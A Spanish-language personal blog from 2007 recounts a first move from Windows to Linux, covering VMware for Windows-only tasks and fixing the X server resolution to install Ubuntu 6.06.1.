       Una cosa magnífica de la que deberían aprender otros sistemas operativos es la gestión de paquetes. Es increíble la cantidad de programas que hay en los repositorios. Sólo hay que buscar lo que quieres y enseguida tienes una gran cantidad de programas listos para descargar y probar. Lo mejor sin duda es la gestión de las dependencias, así, si algo ya no lo necesitas, lo puedes desinstalar y automáticamente se desinstalan todos los programas y librerías que ya no son necesarios. Así, el sistema no se va corrompiendo poco a poco y no se va quedando basura en algo como el famoso registro de windows.

       Mi intención es hacer por fín el cambio de windows a linux aunque vaya siendo poco a poco. Para los programas que no encuentre sustituto (por ejemplo para la declaración de la renta), para las webs que sólo funcionan con iexplorer,... me he instalado una máquina virtual windows con VmWare. Para solucionar un problema de compilación de los módulos he seguido el interesante artículo Cómo solucionar incompatibilidades entre una versión de VMWare y un kernel más reciente de Vicente Navarro y nuevamente ha sido todo muy sencillo. En fin, que ya iré contando poco a poco mis progresos.

    viernes, 16 de febrero de 2007

    Ubuntu no me quiere...

       Resulta que me ha dado por instalar Linux y me he decidido por Ubuntu. El otro día me bajé el cd de la última versión, Ubuntu Desktop 6.10, lo grabé y me dispuse a probarlo. Por alguna extraña razón mi ordenador no le gusta demasiado porque según cargaba el modo gráfico el ratón desaparecía y el servidor X se la pegaba. Volvía a arrancar automáticamente y otra vez lo mismo. Grabé otro cd por si este tenía algo mal y nada, seguía sin funcionar.

       Probé el cd en el portatil por si acaso y no falló nada. Además me dejó gratamente sorprendido. Me configuró la resolución de pantalla a la máxima del portatil, siendo esta resolución un tanto extraña: 1400x1050. Tenía la pcmcia wifi metida, la configuró e incluso se conectó a la red wifi de La Fonera y todo sin ningún problema.

       Ese mismo día puse a bajar la Kubuntu y de nuevo la Ubuntu desde otro mirror. Cuando volví del trabajo grabé el cd y probé sin éxito primero con Ubuntu y luego con Kubuntu. Estuve cacharreando un rato, mirando logs, dmesg,... pero no encontré nada.

       Esta tarde después de volver del trabajo he probado con la versión anterior de Ubuntu, Ubuntu Desktop 6.06.1, que me había descargado por si acaso. Ha arrancado sin (casi) ningún problema y no me ha dado ninguno de los errores que me daba la versión superior. Digo casi ningún problema porque no ha configurado correctamente las X y me ha arrancado en 640x480. He estado jugueteando un rato y me he decidido a instarla en el disco duro.

       Llevaba sin usar un linux en mi pc desde que terminé el proyecto fin de carrera, por lo que he estado buscando las particiones que ya tenía hechas y he decidido instalar ahí. El asistente ha comenzado pero con la resolución que tenía no podía ver toda la ventana ni redimensionarla.

       Pues nada, vamos a solucionar el problema de la resolución.... Pulsando <CTRL> + <ALT> + F1 me he cambiado a un terminal de texto y esto es lo que he hecho después de un rato probando opciones y cambiando archivos:
  • Matar el gestor gráfico de login
    $ killall gdm

  • Generar de nuevo el archivo de configuración de las X:
    $ Xorg -configure

  • Probar la nueva configuración:
    $ X -config /root/xorg.conf.new

  • Editar el archivo y cambiar el ratón puesto que el mío es PS2 (/dev/input/mice) y por defecto buscaba en /dev/Mouse.

  • Añadir dentro de "Modes" la resolución deseada (1280x1024)

  • Probar de nuevo:
    $ X -config /root/xorg.conf.new

  • Una vez que está bien ya sólo queda copiar el archivo nuevo de configuración a su ruta definitiva:
    $ cp /root/xorg.conf.new /etc/X11/xorg.conf

  • Y finalmente arrancar el gestor gráfico de login:
    $ gdm &

       Una vez hecho todo esto he podido probar un poco más el live-cd y como ya he dicho me he decidido a instalarlo. La instalación es muy sencilla, sólo hay que seleccionar el idioma, la zona horaria y las particiones que utilizaremos. El resto es automático. Una vez instalado todo reiniciamos la máquina y podemos entrar en nuestro nuevo sistema operativo.

       No he tenido mucho más tiempo de probar, pero poco a poco intentaré ir haciendo alguna cosa más en linux y ver si me adapto al cambio.